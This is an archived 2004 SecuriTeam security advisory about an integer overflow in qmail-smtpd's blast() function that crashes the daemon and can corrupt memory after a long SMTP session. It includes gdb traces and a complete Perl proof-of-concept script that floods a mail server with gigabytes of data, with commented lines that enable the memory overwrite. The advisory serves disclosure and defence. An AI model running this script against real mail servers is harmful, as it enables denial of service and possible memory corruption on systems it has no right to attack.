

[UNIX] Qmail Crash and Memory Overwrite After Long SMTP Session

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0060.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/19/04

To: list@securiteam.com

Date: 19 Jan 2004 12:49:40 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Qmail Crash and Memory Overwrite After Long SMTP Session

SUMMARY

<<http://www.qmail.org/>> Qmail is "a modern SMTP server that is comprised of several modules". Due to a bug in the smtpd module it is possible to cause it to crash after a long SMTP session. The crash is not global and will only affect the current SMTP session. There is a risk of a potential buffer overflow in the smtpd module.

DETAILS

Vulnerable Software:

* qmail 1.03 on Linux (or prior), possibly on other operating systems

Overflow of the 'pos' variable:

Due to a bug in the void blast(hops) function, a segmentation fault (SIGSEGV) can be triggered on Linux using a long SMTP input. Specifically, the 'pos' variable is being incremented while bounds or range limits are not enforced. Thus, when 'pos' gets sufficiently large it overflows and becomes negative, making the check (pos<9) pass even though 'pos' is really larger than 0x80000000.

Securiteam: [UNIX] Qmail Crash and Memory Overwrite After Long SMTP Session

A code snippet from the void blast(hops) function is presented below:

```
void blast(hops)
int *hops;
..
int pos; /* number of bytes since most recent \n, if fih */
..
  if (pos < 9) {
    if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos]) flagmaybez
= 0;
  }
..
++pos;
..
```

Running the Proof-of-Concept perl code gives the following results:

```
/qma4.pl localhost 25
qmail-smtpd SEGV. Written by Georgi Guninski
Will connect to localhost:25 fromaddr=they@sux.org touser=postmaster
length=2097152
..
```

<in another console>

```
ps aux | grep qmail-smtpd
1810 ? R 0:06 qmail-smtpd
```

```
gdb attach 1810
```

```
GNU gdb
```

```
(gdb) cont
```

```
<wait>
```

```
Program received signal SIGSEGV, Segmentation fault.
```

```
0x0804937c in blast (hops=0xbffffd8c) at qmail-smtpd.c:321
```

```
321 if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos])
```

```
flagmaybez = 0;
```

```
(gdb) p pos
```

```
$1 = -2147483648
```

```
(gdb) p/x pos
```

```
$2 = 0x80000000
```

```
(gdb)
```

Memory Overflow:

A memory overflow exists in the smtpd module that can be triggered using the attached PoC code by uncomment the #'s. This causes the 'len' variable to become exceedingly large as shown below:

```
GNU gdb
```

```
...
```

```
Attaching to process 1780
```

```
Reading symbols from /var/qmail/bin/qmail-smtpd...done.
```

```
Reading symbols from /lib/libc.so.6...done.
```

```
Loaded symbols for /lib/libc.so.6
```

```
Reading symbols from /lib/ld-linux.so.2...done.
```

Securiteam: [UNIX] Qmail Crash and Memory Overwrite After Long SMTP Session

```
Loaded symbols for /lib/ld-linux.so.2
0x401026c8 in read () from /lib/libc.so.6
(gdb) cont
Continuing.
```

```
Program received signal SIGPIPE, Broken pipe.
0x40102748 in write () from /lib/libc.so.6
#0 0x40102748 in write () from /lib/libc.so.6
#1 0x00000400 in ?? ()
#2 0x0804bb81 in substdio_flush (s=0x804eae4) at substdio.c:35
#3 0x0804bc1e in substdio_put (s=0x4, buf=0xbffffd5b "g\030",
len=134540004)
  at substdio.c:64 <<< NOTE THE VALUE OF 'len'
#4 0x0804ab58 in qmail_put (qq=0x804eac0, s=0xbffffd5b "g\030", len=1)
  at qmail.c:56
#5 0x08049309 in put (ch=0xbffffd5b "g\030") at qmail-smtpd.c:290
#6 0x0804941d in blast (hops=0xbffffd8c) at qmail-smtpd.c:360
#7 0x08049669 in smtp_data () at qmail-smtpd.c:393
#8 0x08049a66 in commands (ss=0x804d09c, c=0x804d0c0) at commands.c:37
#9 0x080497c5 in main () at qmail-smtpd.c:430
#10 0x40042917 in __libc_start_main () from /lib/libc.so.6
(gdb) frame 2
#2 0x0804bb81 in substdio_flush (s=0x804eae4) at substdio.c:35
35 return allwrite(s->op,s->fd,s->x,p);
(gdb) p *s
$1 = {x = 0x67676767 "", p = 1734829927, n = 1734829927, fd = 1734829927,
  op = 0x67676767}
(gdb)
```

It can be seen from the output of gdb that it is possible to overwrite buffers and inject any user-supplied payload, shown here in the form of 0x67676767's pointed to by s->op.

```
Proof of concept:
----qma4.pl-----
#!/usr/bin/perl -w
```

```
#Copyright Georgi Guninski\nCannot be used in vulnerability databases and\n#similar stuff
```

```
use IO::Socket;
```

```
my $port = $ARGV[1];
my $host = $ARGV[0];
```

```
my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort =>
$port,Proto => "TCP") || die "socket";
```

```
my $req = "HELO a\r\n";
my $fromaddr="they@sux.org";
my $touser="postmaster";
```

Securiteam: [UNIX] Qmail Crash and Memory Overwrite After Long SMTP Session

```
print "qmail-smtpd SEGV. Copyright Georgi Guninski\nCannot be used in  
vulnerability databases and similar stuff\nWill connect to ${host}:${port}  
fromaddr=${fromaddr} touser=${touser}\n";
```

```
$req .= "MAIL FROM: ${fromaddr}\r\n";  
$req .= "RCPT TO: ${touser}\r\n";
```

```
$req .= "DATA\r\n";
```

```
$req .= "1234567890";
```

```
#my $x = "\ng" x 100;  
#print $x;
```

```
syswrite($socket,$req,length($req));
```

```
my $l1= 1024*1024;  
my $p1 = "gg" x $l1;  
my $pl = 2*$l1;  
print "length=${pl}\n";  
my $towrite = $l1*2050;  
my $wri = 0;  
$req = $p1;  
while ($wri < $towrite)  
{  
  syswrite($socket,$req,$pl);  
  if ( ($wri % $l1) == 0) {print "written=" . $wri/$l1 . "\n";}  
  # !!! uncomment the following lines to get qmail memory screw on linux  
  according to gdb  
  #if ($wri/$l1 == 2044)  
  #{  
  #syswrite($socket,"g\r\n",3);print "injected\n";  
  #};  
  $wri += $pl;  
}
```

```
$req = "test\r\n";  
$req .= ".\r\n";
```

```
syswrite($socket,$req,length($req));
```

```
while(< $socket>)  
{  
  print $_;  
}
```

```
close $socket;
```

ADDITIONAL INFORMATION

Securiteam: [UNIX] Qmail Crash and Memory Overwrite After Long SMTP Session

The information has been provided by <mailto:guninski@guninski.com>
Georgi Guninski.

The original advisory is available from:
<<http://www.guninski.com/qmailcrash.html>>
<http://www.guninski.com/qmailcrash.html>.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.